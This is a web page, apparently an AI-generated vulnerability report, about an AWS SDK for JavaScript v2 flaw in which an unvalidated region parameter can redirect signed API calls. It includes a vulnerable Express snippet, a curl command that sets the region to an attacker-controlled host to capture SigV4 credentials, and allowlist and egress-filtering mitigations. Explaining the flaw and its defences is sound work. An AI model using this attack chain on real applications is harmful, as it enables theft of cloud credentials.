CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Dashboard
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-J965-2QGJ-VJMQ
3.70.05%

The Zombie SDK: Leaking AWS Creds via Region Injection in JavaScript v2

Alon Barad
Alon Barad
Software Engineer

Feb 23, 2026·5 min read·15 visits

No Known Exploit

Executive Summary (TL;DR)

AWS SDK JS v2 does not validate the `region` parameter. If an attacker controls this input, they can manipulate the target endpoint of AWS API calls. This can lead to traffic redirection and the leakage of sensitive IAM credentials via the Authorization header.

The AWS SDK for JavaScript v2 is the 'Walking Dead' of cloud libraries—deprecated but everywhere. A recently highlighted design flaw allows unvalidated `region` parameters to redirect API calls to arbitrary hosts. If your application naively trusts user input to configure the AWS client, you aren't just sending data to the wrong place; you're handing over your SigV4 signed credentials (session tokens and keys) to anyone listening on the other end. It is a classic 'footgun' scenario where the library assumes the developer knows best, leading to potential SSRF and credential exfiltration.

The Hook: Trust Issues in the Cloud

We live in an era where we expect our libraries to hold our hands. We expect them to slap us if we try to do something stupid, like putting ../../../etc/passwd in a file path or <script>alert(1)</script> in a database field. But the AWS SDK for JavaScript v2 comes from a simpler time—a time when libraries assumed developers were competent adults who validated their own inputs. That assumption, as history has shown, was optimistic at best.

This vulnerability isn't a buffer overflow or a fancy deserialization gadget chain. It's a logic flaw born from the "Defense in Depth" (or lack thereof) philosophy. The SDK essentially acts as a dumb pipe for configuration. If you tell it the AWS region is us-east-1, it talks to Virginia. If you tell it the region is a malicious string, it tries to talk to that instead.

Why does this matter? Because modern cloud applications are dynamic. Developers love making things configurable. "Why hardcode the region?" they ask. "Let's pass it as a query parameter so we can test different environments!" And just like that, they've turned a configuration setting into an unauthenticated SSRF-like vector that leaks the keys to the kingdom.

The Flaw: Concatenation Catastrophe

At its core, the AWS SDK constructs API endpoints using a predictable template. For most services, the URL looks something like https://{service}.{region}.amazonaws.com. The logic inside the v2 SDK takes the configuration object and mechanically assembles this string. It doesn't check if the region is a valid AWS region (like us-west-2 or eu-central-1). It just strings it together.

In a proper secure design, the library would have an allowlist of valid regions or a strict regex (e.g., ^[a-z]{2}-[a-z]+-\d+$). JavaScript v2 lacks this guardrail. It assumes that if you provided a string, you meant it. This becomes dangerous when that string comes from req.query.region or a JSON payload controlled by a user.

Technically, this is an improper input validation vulnerability (CWE-20). The SDK fails to sanitize the boundary between "configuration data" and "network routing logic." While the official severity is Low (because it requires a specific, arguably bad, implementation pattern by the developer), the impact in those specific scenarios is catastrophic.

The Code: Anatomy of a Footgun

Let's look at the vulnerable pattern. This is code you might find in a serverless function or a Node.js middleware intended to proxy requests to S3 buckets in different regions dynamically.

The Vulnerable Implementation:

const AWS = require('aws-sdk');
const express = require('express');
const app = express();
 
app.get('/list-files', (req, res) => {
    // DANGER: Taking region directly from user input
    const targetRegion = req.query.region;
    
    // The SDK blindly accepts this
    const s3 = new AWS.S3({ region: targetRegion });
    
    s3.listBuckets((err, data) => {
        if (err) res.send(err);
        else res.json(data);
    });
});

If a normal user visits /list-files?region=us-east-1, the SDK constructs a standard AWS endpoint. But the lack of validation means the region property is entirely tainted. The v3 SDK, by contrast, was re-architected to include middleware stacks that enforce stricter typing and validation on configuration properties, effectively mitigating this class of "lazy developer" bugs by default.

The Exploit: Stealing the Keys

So how do we weaponize this? We aren't just trying to crash the app; we want the credentials. When the AWS SDK makes a request, it signs it using Signature Version 4 (SigV4). This process adds an Authorization header containing the Access Key ID and a signature, and often a X-Amz-Security-Token header if temporary credentials (like IAM Roles) are used.

The Attack Chain:

  1. Reconnaissance: Identify an endpoint that takes a region parameter (e.g., ?region=... or inside a JSON POST body).
  2. Payload Construction: We need to supply a region that redirects the traffic. Depending on the exact SDK version and service, we might try to break the DNS resolution or route it to a public IP.
    • Scenario A: If the SDK allows arbitrary characters, we might try a payload that manipulates the subdomains.
    • Scenario B: In some configurations, we might point it to a custom endpoint if the region logic permits it.
  3. Capture: We set up a listener (using netcat or Burp Collaborator).
  4. Execution: We send the request.
curl "http://victim-app.com/list-files?region=attacker-controlled-host"

If the SDK constructs a URL that resolves to our listener, the victim server connects to us. The incoming HTTP request will look like this:

POST / HTTP/1.1
Host: attacker-controlled-host
Authorization: AWS4-HMAC-SHA256 Credential=AKIAIOSFODNN7EXAMPLE/...
X-Amz-Security-Token: IQoJb3JpZ2luX2Vj...

Boom. We now have the temporary credentials of the role attached to the victim's server. We can take these tokens, put them in our own AWS CLI, and access whatever that server could access (S3, DynamoDB, EC2).

The Mitigation: Trust No One

If you are still using aws-sdk v2, you are technically running legacy software. The best fix is to migrate to v3, which handles this better architecturally. However, rewriting an entire codebase takes time. If you need to patch this today, you must stop trusting user input.

Immediate Fix: The Allowlist

Never pass raw user strings to the SDK configuration. Validate against a known good list of regions.

const ALLOWED_REGIONS = new Set([
  'us-east-1', 'us-east-2', 'us-west-1', 'us-west-2', 
  'eu-central-1', 'eu-west-1'
]);
 
const userRegion = req.query.region;
 
if (!ALLOWED_REGIONS.has(userRegion)) {
    throw new Error("Nice try, hacker.");
}
 
const s3 = new AWS.S3({ region: userRegion });

Defense in Depth:

  1. Principle of Least Privilege: Ensure the IAM role attached to your application only has the permissions it absolutely needs. If the keys are leaked, the blast radius should be minimal.
  2. Network Restrictions: Use Egress filtering (Security Groups or Firewalls) to prevent your server from making outbound connections to arbitrary IP addresses. It should only be able to talk to AWS IP ranges.

Official Patches

AWSAWS SDK for JavaScript v3 (Recommended Upgrade)

Technical Appendix

CVSS Score
3.7/ 10
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
EPSS Probability
0.05%
Top 84% most exploited

Affected Systems

Node.js applications using aws-sdk v2Serverless functions (Lambda) using dynamic region configurationBFF (Backend-for-Frontend) layers proxying AWS calls

Affected Versions Detail

Product
Affected Versions
Fixed Version
aws-sdk
Amazon Web Services
All v2.x versionsMigrate to v3
AttributeDetail
CWE IDCWE-20
Attack VectorNetwork
CVSS v3.13.7 (Low)
ImpactCredential Leakage / SSRF
Exploit StatusNo Public PoC
Packageaws-sdk (npm)

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1552Unsecured Credentials
Credential Access
CWE-20
Improper Input Validation

Improper Input Validation

Vulnerability Timeline

Advisory Published by AWS SDK Team
2026-01-08
Related CVE-2026-22611 published for .NET
2026-01-10
GitHub Advisory Updated
2026-01-13

References & Sources

  • [1]GitHub Advisory GHSA-j965-2qgj-vjmq
  • [2]Migrating to AWS SDK for JavaScript v3
Related Vulnerabilities
CVE-2026-22611

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.